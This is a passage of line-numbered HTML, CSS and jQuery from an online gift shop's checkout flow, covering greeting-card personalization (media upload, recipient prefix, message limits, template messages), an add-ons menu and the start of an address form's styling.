4712                <path d="M0.75 16.75H15.25C15.6635 16.75 16 16.4135 16 16V1.5C16 1.0865 15.6635 0.75 15.25 0.75H0.75C0.3365 0.75 0 1.0865 0 1.5V16C0 16.4135 0.3365 16.75 0.75 16.75ZM0.5 1.5C0.5 1.4337 0.526339 1.37011 0.573223 1.32322C0.620107 1.27634 0.683696 1.25 0.75 1.25H15.25C15.3163 1.25 15.3799 1.27634 15.4268 1.32322C15.4737 1.37011 15.5 1.4337 15.5 1.5V16C15.5 16.0663 15.4737 16.1299 15.4268 16.1768C15.3799 16.2237 15.3163 16.25 15.25 16.25H0.75C0.683696 16.25 0.620107 16.2237 0.573223 16.1768C0.526339 16.1299 0.5 16.0663 0.5 16V1.5Z" fill="black"/>
4713                <path d="M10.25 7C10.8015 7 11.25 6.5515 11.25 6C11.25 5.4485 10.8015 5 10.25 5C9.6985 5 9.25 5.4485 9.25 6C9.25 6.5515 9.6985 7 10.25 7ZM10.25 5.5C10.349 5.4999 10.4459 5.52918 10.5283 5.58414C10.6106 5.6391 10.6749 5.71726 10.7128 5.80874C10.7507 5.90021 10.7607 6.00089 10.7414 6.09802C10.7221 6.19515 10.6744 6.28438 10.6044 6.35441C10.5344 6.42443 10.4452 6.47211 10.348 6.49141C10.2509 6.5107 10.1502 6.50075 10.0587 6.46281C9.96726 6.42486 9.8891 6.36063 9.83414 6.27825C9.77918 6.19587 9.7499 6.09903 9.75 6C9.75 5.7245 9.974 5.5 10.25 5.5Z" fill="black"/>
4714                <path d="M2.25 13.25H13.75C13.8163 13.25 13.8799 13.2237 13.9268 13.1768C13.9737 13.1299 14 13.0663 14 13V3C14 2.9337 13.9737 2.87011 13.9268 2.82322C13.8799 2.77634 13.8163 2.75 13.75 2.75H2.25C2.1837 2.75 2.12011 2.77634 2.07322 2.82322C2.02634 2.87011 2 2.9337 2 3V13C2 13.0663 2.02634 13.1299 2.07322 13.1768C2.12011 13.2237 2.1837 13.25 2.25 13.25ZM2.5 12.75V9.931C2.511 9.923 2.5235 9.9185 2.5335 9.9085L5.0915 7.3505C5.15698 7.28802 5.244 7.25317 5.3345 7.25317C5.425 7.25317 5.51202 7.28802 5.5775 7.3505L9.338 11.111C9.38419 11.1572 9.44662 11.1835 9.51194 11.1842C9.57725 11.185 9.64027 11.1601 9.6875 11.115L11.6205 9.279C11.6834 9.21542 11.7688 9.17902 11.8582 9.17762C11.9477 9.17622 12.0341 9.20992 12.099 9.2715L13.5 10.7975L13.5005 10.798V12.75H2.5ZM13.5 3.25V10.059L12.4595 8.926C12.3816 8.84733 12.2888 8.78493 12.1866 8.74244C12.0844 8.69995 11.9747 8.67822 11.864 8.6785H11.8635C11.7536 8.67802 11.6447 8.69924 11.543 8.74094C11.4414 8.78264 11.3489 8.844 11.271 8.9215L9.519 10.5855L5.931 6.997C5.6115 6.678 5.0565 6.6785 4.738 6.997L2.5 9.2355V3.25H13.5Z" fill="black"/>
4715              </svg>
4716              <span>Upload Image</span>
4717            </label>
4718            <label for="input-video" onclick="" class="btn btn-upload-video">
4719              <svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" viewBox="0 0 20 17" fill="none">
4720                <path d="M4.5 0.75H1.5C1.0655 0.75 0.75 1.0655 0.75 1.5V16C0.75 16.4345 1.0655 16.75 1.5 16.75H18.5C18.9345 16.75 19.25 16.4345 19.25 16V1.5C19.25 1.0655 18.9345 0.75 18.5 0.75H4.5ZM1.25 16V1.5C1.25 1.3435 1.3435 1.25 1.5 1.25H4.25V16.25H1.5C1.3435 16.25 1.25 16.1565 1.25 16ZM4.75 16.25V1.25H15.25V16.25H4.75ZM18.75 1.5V16C18.75 16.1565 18.6565 16.25 18.5 16.25H15.75V1.25H18.5C18.6565 1.25 18.75 1.3435 18.75 1.5Z" fill="black"/>
4721                <path d="M8.1385 5.792C8.10082 5.76682 8.057 5.75235 8.01173 5.75015C7.96646 5.74795 7.92145 5.75809 7.8815 5.7795C7.84169 5.80093 7.80844 5.83275 7.78528 5.87158C7.76213 5.91041 7.74993 5.95479 7.75 6V12C7.75002 12.0452 7.76231 12.0896 7.78556 12.1284C7.8088 12.1672 7.84213 12.1989 7.882 12.2203C7.92187 12.2416 7.96678 12.2517 8.01195 12.2496C8.05712 12.2474 8.10085 12.2331 8.1385 12.208L12.6385 9.208C12.6727 9.18517 12.7008 9.15424 12.7202 9.11795C12.7396 9.08167 12.7498 9.04115 12.7498 9C12.7498 8.95885 12.7396 8.91833 12.7202 8.88205C12.7008 8.84576 12.6727 8.81483 12.6385 8.792L8.1385 5.792ZM8.25 11.533V6.467L12.0495 9L8.25 11.533ZM3.25 4.75H2.25C2.1837 4.75 2.12011 4.77634 2.07322 4.82322C2.02634 4.87011 2 4.9337 2 5C2 5.0663 2.02634 5.12989 2.07322 5.17678C2.12011 5.22366 2.1837 5.25 2.25 5.25H3.25C3.3163 5.25 3.37989 5.22366 3.42678 5.17678C3.47366 5.12989 3.5 5.0663 3.5 5C3.5 4.9337 3.47366 4.87011 3.42678 4.82322C3.37989 4.77634 3.3163 4.75 3.25 4.75ZM2.25 3.25H3.25C3.3163 3.25 3.37989 3.22366 3.42678 3.17678C3.47366 3.12989 3.5 3.0663 3.5 3C3.5 2.9337 3.47366 2.87011 3.42678 2.82322C3.37989 2.77634 3.3163 2.75 3.25 2.75H2.25C2.1837 2.75 2.12011 2.77634 2.07322 2.82322C2.02634 2.87011 2 2.9337 2 3C2 3.0663 2.02634 3.12989 2.07322 3.17678C2.12011 3.22366 2.1837 3.25 2.25 3.25ZM3.25 6.75H2.25C2.1837 6.75 2.12011 6.77634 2.07322 6.82322C2.02634 6.87011 2 6.9337 2 7C2 7.0663 2.02634 7.12989 2.07322 7.17678C2.12011 7.22366 2.1837 7.25 2.25 7.25H3.25C3.3163 7.25 3.37989 7.22366 3.42678 7.17678C3.47366 7.12989 3.5 7.0663 3.5 7C3.5 6.9337 3.47366 6.87011 3.42678 6.82322C3.37989 6.77634 3.3163 6.75 3.25 6.75ZM3.25 8.75H2.25C2.1837 8.75 2.12011 8.77634 2.07322 8.82322C2.02634 8.87011 2 8.9337 2 9C2 9.0663 2.02634 9.12989 2.07322 9.17678C2.12011 9.223
472166 2.1837 9.25 2.25 9.25H3.25C3.3163 9.25 3.37989 9.22366 3.42678 9.17678C3.47366 9.12989 3.5 9.0663 3.5 9C3.5 8.9337 3.47366 8.87011 3.42678 8.82322C3.37989 8.77634 3.3163 8.75 3.25 8.75ZM3.25 10.75H2.25C2.1837 10.75 2.12011 10.7763 2.07322 10.8232C2.02634 10.8701 2 10.9337 2 11C2 11.0663 2.02634 11.1299 2.07322 11.1768C2.12011 11.2237 2.1837 11.25 2.25 11.25H3.25C3.3163 11.25 3.37989 11.2237 3.42678 11.1768C3.47366 11.1299 3.5 11.0663 3.5 11C3.5 10.9337 3.47366 10.8701 3.42678 10.8232C3.37989 10.7763 3.3163 10.75 3.25 10.75ZM3.25 12.75H2.25C2.1837 12.75 2.12011 12.7763 2.07322 12.8232C2.02634 12.8701 2 12.9337 2 13C2 13.0663 2.02634 13.1299 2.07322 13.1768C2.12011 13.2237 2.1837 13.25 2.25 13.25H3.25C3.3163 13.25 3.37989 13.2237 3.42678 13.1768C3.47366 13.1299 3.5 13.0663 3.5 13C3.5 12.9337 3.47366 12.8701 3.42678 12.8232C3.37989 12.7763 3.3163 12.75 3.25 12.75ZM3.25 14.75H2.25C2.1837 14.75 2.12011 14.7763 2.07322 14.8232C2.02634 14.8701 2 14.9337 2 15C2 15.0663 2.02634 15.1299 2.07322 15.1768C2.12011 15.2237 2.1837 15.25 2.25 15.25H3.25C3.3163 15.25 3.37989 15.2237 3.42678 15.1768C3.47366 15.1299 3.5 15.0663 3.5 15C3.5 14.9337 3.47366 14.8701 3.42678 14.8232C3.37989 14.7763 3.3163 14.75 3.25 14.75ZM16.75 5.25H17.75C17.8163 5.25 17.8799 5.22366 17.9268 5.17678C17.9737 5.12989 18 5.0663 18 5C18 4.9337 17.9737 4.87011 17.9268 4.82322C17.8799 4.77634 17.8163 4.75 17.75 4.75H16.75C16.6837 4.75 16.6201 4.77634 16.5732 4.82322C16.5263 4.87011 16.5 4.9337 16.5 5C16.5 5.0663 16.5263 5.12989 16.5732 5.17678C16.6201 5.22366 16.6837 5.25 16.75 5.25ZM16.75 3.25H17.75C17.8163 3.25 17.8799 3.22366 17.9268 3.17678C17.9737 3.12989 18 3.0663 18 3C18 2.9337 17.9737 2.87011 17.9268 2.82322C17.8799 2.77634 17.8163 2.75 17.75 2.75H16.75C16.6837 2.75 16.6201 2.77634 16.5732 2.82322C16.5263 2.87011 16.5 2.9337 16.5 3C16.5 3.0663 16.5263 3.12989 16.5732 3.17678C16.6201 3.22366 16.6837 3.25 16.75 3.25ZM16.75 7.25H17.75C17.8163 7.25 17.8799 7.22366 17.9268 7.17678C17.9737 7.12989 18 7.0663 18 7C18 6.9337 17.9737 6.87011 17.9268 6.82322C17.8799 6.77634 17.8163 6.75 17.75 6.75H16.75C16.6837 6.75 16.6201 6.77634 16.5732 6.82322C16.5263 6.87011 16.5 6.9337 16.5 7C16.5 7.0663 16.5263 7.12989 16.5732 7.17678C16.6201 7.22366 16.6837 7.25 16.75 7.25ZM16.75 9.25H17.75C17.8163 9.25 17.8799 9.22366 17.9268 9.17678C17.9737 9.12989 18 9.0663 18 9C18 8.9337 17.9737 8.87011 17.9268 8.82322C17.8799 8.77634 17.8163 8.75 17.75 8.75H16.75C16.6837 8.75 16.6201 8.77634 16.5732 8.82322C16.5263 8.87011 16.5 8.9337 16.5 9C16.5 9.0663 16.5263 9.12989 16.5732 9.17678C16.6201 9.22366 16.6837 9.25 16.75 9.25ZM16.75 11.25H17.75C17.8163 11.25 17.8799 11.2237 17.9268 11.1768C17.9737 11.1299 18 11.0663 18 11C18 10.9337 17.9737 10.8701 17.9268 10.8232C17.8799 10.7763 17.8163 10.75 17.75 10.75H16.75C16.6837 10.75 16.6201 10.7763 16.5732 10.8232C16.5263 10.8701 16.5 10.9337 16.5 11C16.5 11.0663 16.5263 11.1299 16.5732 11.1768C16.6201 11.2237 16.6837 11.25 16.75 11.25ZM16.75 13.25H17.75C17.8163 13.25 17.8799 13.2237 17.9268 13.1768C17.9737 13.1299 18 13.0663 18 13C18 12.9337 17.9737 12.8701 17.9268 12.8232C17.8799 12.7763 17.8163 12.75 17.75 12.75H16.75C16.6837 12.75 16.6201 12.7763 16.5732 12.8232C16.5263 12.8701 16.5 12.9337 16.5 13C16.5 13.0663 16.5263 13.1299 16.5732 13.1768C16.6201 13.2237 16.6837 13.25 16.75 13.25ZM17.75 14.75H16.75C16.6837 14.75 16.6201 14.7763 16.5732 14.8232C16.5263 14.8701 16.5 14.9337 16.5 15C16.5 15.0663 16.5263 15.1299 16.5732 15.1768C16.6201 15.2237 16.6837 15.25 16.75 15.25H17.75C17.8163 15.25 17.8799 15.2237 17.9268 15.1768C17.9737 15.1299 18 15.0663 18 15C18 14.9337 17.9737 14.8701 17.9268 14.8232C17.8799 14.7763 17.8163 14.75 17.75 14.75Z" fill="black"/>
4722              </svg>
4723              <span>Upload Video</span>
4724            </label>
4725          </div>
4726        </div>
4727      </button>
4728    </div>
4729  </div>
4730</div>
4731
4732          
4733<div class="case-video-preview">
4734  <div class="d-flex justify-content-between">
4735    <p>Add video to make it more special (optional)</p>
4736    <button class="remove-media" style="display: none">
4737      <svg class="icon icon-close" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
4738<title>icon-close</title>
4739<path d="M16.943 16l8.862 8.862c0.26 0.26 0.26 0.682 0 0.943s-0.682 0.26-0.943 0l-8.862-8.862-8.862 8.862c-0.26 0.26-0.682 0.26-0.943 0s-0.26-0.682 0-0.943l8.862-8.862-8.862-8.862c-0.26-0.26-0.26-0.682 0-0.943s0.682-0.26 0.943 0l8.862 8.862 8.862-8.862c0.26-0.26 0.682-0.26 0.943 0s0.26 0.682 0 0.943l-8.862 8.862z"></path>
4740</svg>
4741    </button>
4742    <label id="label-input-video" for="input-video" onclick style="">
4743      <img class="ajax-loader" src="https://outerbloom.com/cdn/shop/t/138/assets/ajax-loader.gif?v=41356863302472015721752652421" style="display: none;vertical-align: middle;"/>
4744      <span><img src="https://outerbloom.com/cdn/shop/t/138/assets/icon-upload-video_icon.png?v=10584829661837769631752652419"/><span>Upload Video</span></span>
4745    </label>
4746  </div>
4747</div>
4748
4749        
4750      </div>
4751      <div class="steps-card-input">
4752        
4753          <div class="prefix-selector-wrapper">
4754            <label for="prefixSelector" class="font-weight-bold m-0">Prefix:</label>
4755            <select id="prefixSelector" class="prefix-selector">
4756              <option value="">None</option>
4757              <option value="Dear" selected>Dear</option>
4758              <option value="To">To</option>
4759              <option value="Hi">Hi</option>
4760            </select>
4761          </div>
4762          <div class="form-group mr-auto form-group-half form-recipient has-counter d-flex">
4763            <label for="" class="font-weight-bold m-0 pr-1 label-prefix" style="border-bottom: 1px solid #212121;">Dear</label>
4764            <input
4765              type="text"
4766              id="recipientNameInput"
4767              class="form-control has-limit"
4768              data-properties="penerima"
4769              placeholder="RECIPIENT NAME"
4770              maxlength="30"
4771              
4772            >
4773            <small class="limit text-muted">(30)</small>
4774          </div>
4775          <div class="form-group custom-card mb-2 has-counter">
4776            <textarea
4777              data-properties="ucapan"
4778              class="form-control has-limit"
4779              rows="6"
4780              placeholder="Write your special message here.."
4781              maxlength="300"
4782              ></textarea>
4783            <small class="limit text-muted">(300)</small>
4784            
4785              <!--
4786                <a href="#" data-card-occassion="all">
4787                  <div class="rectangle-promo-code">
4788                    <span class="promo-code-link">Get ideas</span>
4789                  </div>
4790                </a>
4791              -->
4792            
4793            
4794            <button id="msgCard">Template Message</button>
4795          </div>
4796
4797          <div class="hide">
4798            <input type="hidden" value="" id="note_id" name="note_id" style="top: 0px;">
4799            <input type="hidden" value="" id="note_btn_id" name="note_btn_id">
4800          </div>
4801
4802          <div class="form-group ml-auto mt-3 text-right form-group-half position-relative has-counter">
4803            <label for="" class="font-weight-bold d-none">Yours Sincerely,</label>
4804            <input
4805              id="senderCard"
4806              type="text"
4807              class="form-control text-right has-limit"
4808              data-properties="pengirim"
4809              placeholder="SENDER NAME"
4810              maxlength="30"
4811            >
4812            <small class="limit text-muted">(30)</small>
4813          </div>
4814        
4815      </div>
4816    </div>
4817  
4818</div>
4819<script>
4820  async function getFetch(url) {
4821    const response = await fetch(url);
4822    const result = await response.json();
4823    return result;
4824  }
4825  $(document).ready(function(){
4826    // Prefix selector functionality
4827    var prefixOptions = ['Dear', 'To', 'Hi'];
4828    var isUpdatingPrefix = false;
4829
4830    function getNameWithoutPrefix(value) {
4831      var trimmed = value.trim();
4832      for (var i = 0; i < prefixOptions.length; i++) {
4833        var prefix = prefixOptions[i];
4834        if (trimmed.toLowerCase().indexOf(prefix.toLowerCase() + ' ') === 0) {
4835          return trimmed.substring(prefix.length);
4836        }
4837      }
4838      return trimmed;
4839    }
4840
4841    function detectPrefix(value) {
4842      var trimmed = value.trim();
4843      for (var i = 0; i < prefixOptions.length; i++) {
4844        var prefix = prefixOptions[i];
4845        if (trimmed.toLowerCase().indexOf(prefix.toLowerCase() + ' ') === 0) {
4846          return prefix;
4847        }
4848      }
4849      return '';
4850    }
4851
4852    function applyPrefixToInput(prefix) {
4853      var recipientInput = $('#recipientNameInput');
4854      var nameOnly = getNameWithoutPrefix(recipientInput.val());
4855
4856      if (!nameOnly) {
4857        recipientInput.val('');
4858        return;
4859      }
4860
4861      if (prefix === '') {
4862        recipientInput.val(nameOnly);
4863      } else {
4864        recipientInput.val(prefix + ' ' + nameOnly);
4865      }
4866    }
4867
4868    $('#prefixSelector').on('change', function() {
4869      var selectedPrefix = $(this).val();
4870      var recipientInput = $('#recipientNameInput');
4871      var labelPrefix = $('.label-prefix');
4872
4873      isUpdatingPrefix = true;
4874      applyPrefixToInput(selectedPrefix);
4875      isUpdatingPrefix = false;
4876
4877      // Update label-prefix text and visibility
4878      if (selectedPrefix === '') {
4879        labelPrefix.addClass('hidden');
4880        labelPrefix.text('');
4881      } else {
4882        labelPrefix.text(selectedPrefix).removeClass('hidden');
4883      }
4884
4885      recipientInput.focus();
4886    });
4887    
4888    // Click label-prefix to open selector
4889    $('.label-prefix').on('click', function() {
4890      $('#prefixSelector').focus().click();
4891    });
4892    
4893    // Initialize label-prefix based on current selector value
4894    var initialPrefix = $('#prefixSelector').val();
4895    if (initialPrefix === '') {
4896      $('.label-prefix').addClass('hidden');
4897    } else {
4898      $('.label-prefix').text(initialPrefix);
4899    }
4900
4901    $('#recipientNameInput').on('input', function() {
4902      if (isUpdatingPrefix) {
4903        return;
4904      }
4905
4906      var currentValue = $(this).val();
4907
4908      // If input is cleared, reset prefix to None
4909      if (!currentValue) {
4910        isUpdatingPrefix = true;
4911        $('#prefixSelector').val('');
4912        isUpdatingPrefix = false;
4913        return;
4914      }
4915    });
4916
4917    // Initialize prefix selector based on current value
4918    $('#prefixSelector').val('Dear');
4919    
4920    $('textarea.has-limit, input.has-limit').keyup(function () {
4921      max = this.getAttribute("maxlength");
4922      var len = $(this).val().length;
4923      var limit = $(this).siblings(".limit");
4924      if (len >= max) {
4925        alert('you have reached the limit');
4926      } else {
4927        var char = max - len;
4928        limit.text('('+char+')');
4929      }
4930    });
4931
4932    // Limit textarea to maximum 6 lines
4933    $('[data-properties=ucapan]').on('input keydown paste', function(e) {
4934      var textarea = $(this);
4935      var lines = textarea.val().split('\n');
4936      
4937      // Check if trying to add more than 6 lines
4938      if (lines.length > 6) {
4939        // Prevent adding new line if already at 6 lines
4940        if (e.type === 'keydown' && e.keyCode === 13) {
4941          e.preventDefault();
4942          return false;
4943        }
4944        // Trim to 6 lines if pasting content
4945        if (e.type === 'paste' || e.type === 'input') {
4946          var limitedText = lines.slice(0, 6).join('\n');
4947          textarea.val(limitedText);
4948        }
4949      }
4950      
4951      // Update character counter after line limit check
4952      var max = this.getAttribute("maxlength");
4953      var len = $(this).val().length;
4954      var limit = $(this).siblings(".limit");
4955      var char = max - len;
4956      limit.text('('+char+')');
4957    });
4958
4959    var text_max=150;
4960    var msg_text="";
4961    $('#previewMsg').html(msg_text);
4962    $('[data-properties=ucapan]').keyup(function(){
4963      var text_length=$(this).val().length;
4964      var msg_text=$(this).val();
4965      $('#previewMsg').html(msg_text);
4966    });
4967
4968    var note_btn_text = [
4969      [0,'Try Another'],
4970      [1,'One More Time'],
4971      [2,'Almost There'],
4972      [3,'Next']
4973    ];
4974    $("#greetingCard").delegate("#show_note", "click", async function(event){
4975      event.preventDefault();
4976
4977      const source = await getFetch(`https://outerbloom.com/cdn/shop/t/87/assets/greeting_card.json?v=${new Date()}`)
4978
4979      const occassion = $("#show_note").attr("data-card-occassion")
4980
4981      let {data} = source.find((el) => el.name === occassion);
4982      
4983      var notes = data;
4984
4985      const getRandomIntegerInclusive = (min, max) => {
4986        min = Math.ceil(min)
4987        max = Math.floor(max)
4988      
4989        return Math.floor(Math.random() * (max - min + 1)) + min
4990      }
4991      
4992      const idx = getRandomIntegerInclusive(0, data.length - 1)
4993      
4994      var note=notes[idx];
4995
4996      $('#note_id').val(idx);
4997      $('[data-properties], #msgDelivery').val(note);
4998      var text_length=$(this).val().length;
4999      $('#previewMsg').html(note);
5000      var idx_2=parseInt($('#note_btn_id').val());
5001      if(isNaN(idx_2)){
5002        idx_2=0;
5003      }else{
5004        idx_2++;
5005        idx_2=idx_2%note_btn_text.length;
5006      }
5007      $('#note_btn_id').val(idx_2);
5008      var note_btn=note_btn_text[idx_2][1];
5009      $('#note_btn').text(note_btn);
5010    });
5011  });
5012</script>
5012
5013
5014        </div>
5015      </div>
5016    
5017  </div>
5018</div>
5019
5020          </div>
5021          <div class="purchase-button-wrapper">
5022            <div class="purchase-button btn-card row m-0">
5023  <div class="col-12 col-lg-2 text-left mb-2 p-0">
5024    
5025  </div>
5026  <div class="btn-next-card col-12 col-lg-10 text-right">
5027    
5028    
5029      
5030        <button id="skip-card" style="align-self: center;text-decoration: underline">
5031          <span> USE BLANK CARD  </span>
5032        </button>
5033      
5034    
5035    <button
5036      
5037        
5038          id="save-card"
5039        
5040      
5041      class="btn next-purchase-button text-uppercase"
5042      
5043        disabled
5044      
5045    >
5046      <span>SAVE & PERSONALIZE GIFT</span>
5047    </button>
5048  </div>
5049</div>
5050
5051          </div>
5052        </div>
5053      </div>
5054    
5055    
5056    
5057      
5058    
5059      
5060    
5061      
5062    
5063      
5064    
5065      
5066    
5067      
5068    
5069      
5070    
5071      
5072    
5073      
5074    
5075      
5076    
5077      
5078    
5079      
5080    
5081      
5082    
5083      
5084    
5085      
5086    
5087      
5088    
5089      
5090    
5091      
5092    
5093      
5094    
5095      
5096    
5097      
5098    
5099      
5100    
5101      
5102    
5103      
5104    
5105      
5106    
5107      
5108    
5109      
5110    
5111      
5112    
5113      
5114        
5115        
5116    
5117      <div
5118        class="sectionPurchase purchaseAddon hide"
5119        data-section="addon"
5120      >
5121        <div class="wrapperPurchase">
5122          <div class="purchase-content">
5123            <style>
5124  .item-card[data-qty="0"] { display: none; }
5125  .item-card[data-id="8835692069079"] {
5126    display: none;
5127  }
5128  
5129  @media (max-width: 768px) {
5130    #itemAddons {
5131      overflow-x: auto;
5132      overflow-y: hidden;
5133      -webkit-overflow-scrolling: touch;
5134      scrollbar-width: none;
5135      -ms-overflow-style: none;
5136    }
5137    
5138    #itemAddons::-webkit-scrollbar {
5139      display: none;
5140    }
5141    
5142    #itemAddons .row {
5143      flex-wrap: nowrap !important;
5144      width: max-content !important;
5145      gap: 15px !important;
5146      margin: 0 !important;
5147      padding: 0 15px;
5148    }
5149    
5150    #itemAddons .item-card {
5151      flex: 0 0 auto;
5152      min-width: 120px;
5153      max-width: 120px;
5154    }
5155  }
5156  @media (min-width: 769px) {
5157    #itemAddons .row {
5158      flex-wrap: wrap;
5159    }
5160  }
5161</style>
5162<div class="headerPurchase">
5163  <h3>Make It More Special with Add-Ons!</h3>
5164  <a class="close-purchase-popup">
5165  <svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 18 18" fill="none">
5166    <path d="M1.53287 17.4107L0.588867 16.4667L8.05553 9.00002L0.588867 1.53336L1.53287 0.589355L8.99953 8.05602L16.4662 0.589355L17.4102 1.53336L9.94353 9.00002L17.4102 16.4667L16.4662 17.4107L8.99953 9.94402L1.53287 17.4107Z" fill="black"/>
5167  </svg>
5168</a>
5169
5170</div>
5171<div class="contentPurchase">
5172  <div class="regulerAddons">
5173    <div class="menuPurchase">
5174      <ul>
5175        
5176        
5177
5178        
5179        <li class="item-addon selected" data-count="" data-addon="upsell-inhouse">
5180          All
5181        </li>
5182        
5183        
5184          
5185          
5186          
5187            <li class="item-addon" data-count="18" data-addon="upsell-jewelry">
5188              Jewelry
5189            </li>
5190          
5191        
5192          
5193          
5194          
5195            <li class="item-addon" data-count="2" data-addon="upsell-cuddlemate">
5196              Cuddlemate
5197            </li>
5198          
5199        
5200          
5201          
5202          
5203            <li class="item-addon" data-count="1" data-addon="upsell-diffuser">
5204              Diffuser
5205            </li>
5206          
5207        
5208          
5209          
5210          
5211            <li class="item-addon" data-count="1" data-addon="upsell-candle">
5212              Candle
5213            </li>
5214          
5215        
5216          
5217          
5218          
5219        
5220          
5221          
5222          
5223            <li class="item-addon" data-count="1" data-addon="upsell-beverage">
5224              Beverage
5225            </li>
5226          
5227        
5228          
5229          
5230          
5231        
5232          
5233          
5234          
5235            <li class="item-addon" data-count="8" data-addon="upsell-cookies">
5236              Cookies
5237            </li>
5238          
5239        
5240        
5241      </ul>
5242    </div>
5243    <div id="chooseCard">
5244      <h4 class="text-uppercase">choose your add-ons you like to include</h4>
5245      <div
5246        id="itemAddons"
5247        class="item-cards d-flex mb-4"
5248      >
5249        <div class="row m-0 gap-20 w-100">
5250          <p>No Item available</p>
5251        </div>
5252      </div>
5253    </div>
5254  </div>
5255  <!-- <div class="spotifyAddons"></div> -->
5256</div>
5257
5258          </div>
5259          <div class="purchase-button-wrapper">
5260            <div class="purchase-button btn-addon row m-0">
5261  <div class="col-12 col-lg-2 text-left mb-2 p-0">
5262    
5263      <button class="back-purchase-button back-addon text-uppercase">
5264        <svg width="15" height="14" viewBox="0 0 15 14" fill="none" xmlns="http://www.w3.org/2000/svg">
5265          <path d="M14.5799 7.41992L2.32992 7.41992L7.57992 12.6699L6.91992 13.4199L0.419922 6.91992L6.91992 0.419922L7.57992 1.16992L2.32992 6.41992L14.5799 6.41992V7.41992Z" fill="black"/>
5266        </svg>
5267        <span>Back</span>
5268      </button>
5269    
5270  </div>
5271  <div class="btn-next-card col-12 col-lg-10 text-right">
5272    
5273    
5274      
5275    
5276    <button
5277      
5278      class="btn next-purchase-button next-addon text-uppercase"
5279      
5280    >
5281      <span>continue without add-ons</span>
5282    </button>
5283  </div>
5284</div>
5285
5286          </div>
5287        </div>
5288      </div>
5289    
5290    
5291      <div
5292        class="sectionPurchase purchaseAddress hide"
5293        data-section="address"
5294      >
5295        <div class="wrapperPurchase">
5296          <div class="purchase-content">
5297            <div class="headerPurchase">
5298  <h3>
5299    Complete Your Order
5300  </h3>
5301  <a class="close-purchase-popup">
5302  <svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 18 18" fill="none">
5303    <path d="M1.53287 17.4107L0.588867 16.4667L8.05553 9.00002L0.588867 1.53336L1.53287 0.589355L8.99953 8.05602L16.4662 0.589355L17.4102 1.53336L9.94353 9.00002L17.4102 16.4667L16.4662 17.4107L8.99953 9.94402L1.53287 17.4107Z" fill="black"/>
5304  </svg>
5305</a>
5306
5307</div>
5308
5309<!-- Select2 CSS -->
5310<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/select2.min.css" rel="stylesheet" />
5311
5312<style>
5313  .select2-container--default .select2-selection--single {
5314    height: 43px !important;
5315    border-radius: 0 !important;
5316    padding: 0 !important;
5317    background-color: #fff !important;
5318    border-color: #212121 !important;
5319  }
5320  
5321  .select2-container--default .select2-selection--single .select2-selection__rendered {
5322    line-height: 43px !important;
5323    padding-left: 16px !important;
5324    padding-right: 40px !important;
5325    color: #212121 !important;
5326    font-size: 14px !important;
5327  }
5328  
5329  .select2-container--default .select2-selection--single .select2-selection__placeholder {
5330    color: #212121 !important;
5331    font-style: normal;
5332  }
5333  
5334  .select2-container--default .select2-selection--single .select2-selection__arrow {
5335    display: none;
5336    height: 48px !important;
5337    right: 10px !important;
5338  }
5339  
5340  .select2-container--default.select2-container--open .select2-selection--single {
5341    border-color: #212121 !important;
5342  }
5343  
5344  .select2-dropdown {
5345    border: 1px solid #E5E5E5 !important;
5346    border-radius: 0 !important;
5347    border-top: none !important;
5348    overflow: hidden;
5349    padding-bottom: 70px;
5350  }
5351  
5352  .select2-container--default .select2-results__option {
5353    padding: 12px 16px !important;
5354    font-size: 14px !important;
5355  }
5356  
5357  .select2-container--default .select2-results__option--highlighted[aria-selected] {
5358    background-color: #f5f5f5 !important;
5359    color: #212121 !important;
5360  }
5361  
5362  .select2-container--default .select2-results__option[aria-selected=true] {
5363    background-color: #212121 !important;
5364    color: #fff !important;
5365  }
5366  
5367  .select2-search--dropdown .select2-search__field {
5368    border: 1px solid #E5E5E5 !important;
5369    border-radius: 0 !important;
5370    padding: 10px 16px !important;
5371    font-size: 14px !important;
5372  }
5373  
5374  .select2-search--dropdown .select2-search__field:focus {
5375    border-color: #212121 !important;
5376    outline: none !important;
5377  }
5378  .select2-container {
5379    width: 100% !important;
5380  }
5381  
5382  .select2-container--default .select2-selection--single:focus {
5383    outline: none !important;
5384  }
5385
5386  #zipSelectPopup {
5387    display: none;
5388  }
5389  
5390  @media (max-width: 991px) {
5391    #zipSelectPopup {
5392      position: fixed;
5393      top: 0;
5394      left: 0;
5395      width: 100%;
5396      height: 100%;
5397      background: #fff;
5398      z-index: 10000;
5399      overflow: hidden;
5400    }
5401    
5402    .zip-popup-header {
5403      padding: 16px 20px;
5404      border-bottom: 1px solid #E5E5E5;
5405      display: flex;
5406      justify-content: space-between;
5407      align-items: center;
5408      background: #fff;
5409      position: sticky;
5410      top: 0;
5411      z-index: 10001;
5412    }
5413    
5414    .zip-popup-header h4 {
5415      margin: 0;
5416      font-size: 16px;
5417      font-weight: 600;
5418      color: #212121;
5419    }
5420    
5421    .zip-popup-close {
5422      background: none;
5423      border: none;
5424      font-size: 28px;
5425      color: #666;
5426      cursor: pointer;
5427      padding: 0;
5428      width: 40px;
5429      height: 40px;
5430      display: flex;
5431      align-items: center;
5432      justify-content: center;
5433      line-height: 1;
5434    }
5435    
5436    .zip-popup-search {
5437      padding: 16px 20px;
5438      border-bottom: 1px solid #E5E5E5;
5439      background: #fff;
5440      position: sticky;
5441      top: 57px;
5442      z-index: 10001;
5443    }
5444    
5445    .zip-popup-search input {
5446      width: 100%;
5447      padding: 12px 16px;
5448      border: 1px solid #E5E5E5;
5449      border-radius: 4px;
5450      font-size: 14px;
5451    }
5452    
5453    .zip-popup-search input:focus {
5454      outline: none;
5455      border-color: #212121;
5456    }
5457    
5458    .zip-popup-list {
5459      height: calc(100% - 130px);
5460      overflow-y: auto;
5461      padding: 0;
5462      -webkit-overflow-scrolling: touch;
5463    }
5464    
5465    .zip-popup-list-item {
5466      padding: 16px 20px;
5467      border-bottom: 1px solid #f5f5f5;
5468      cursor: pointer;
5469      font-size: 14px;
5470      color: #212121;
5471      background: #fff;
5472      transition: background-color 0.2s;
5473    }
5474    
5475    .zip-popup-list-item:active {
5476      background-color: #f5f5f5;
5477    }
5478    
5479    .zip-popup-list-item.selected {
5480      background-color: #212121;
5481      color: #fff;
5482    }
5483    
5484    .zip-popup-list-item:last-child {
5485      border-bottom: none;
5486    }
5487    #zip {
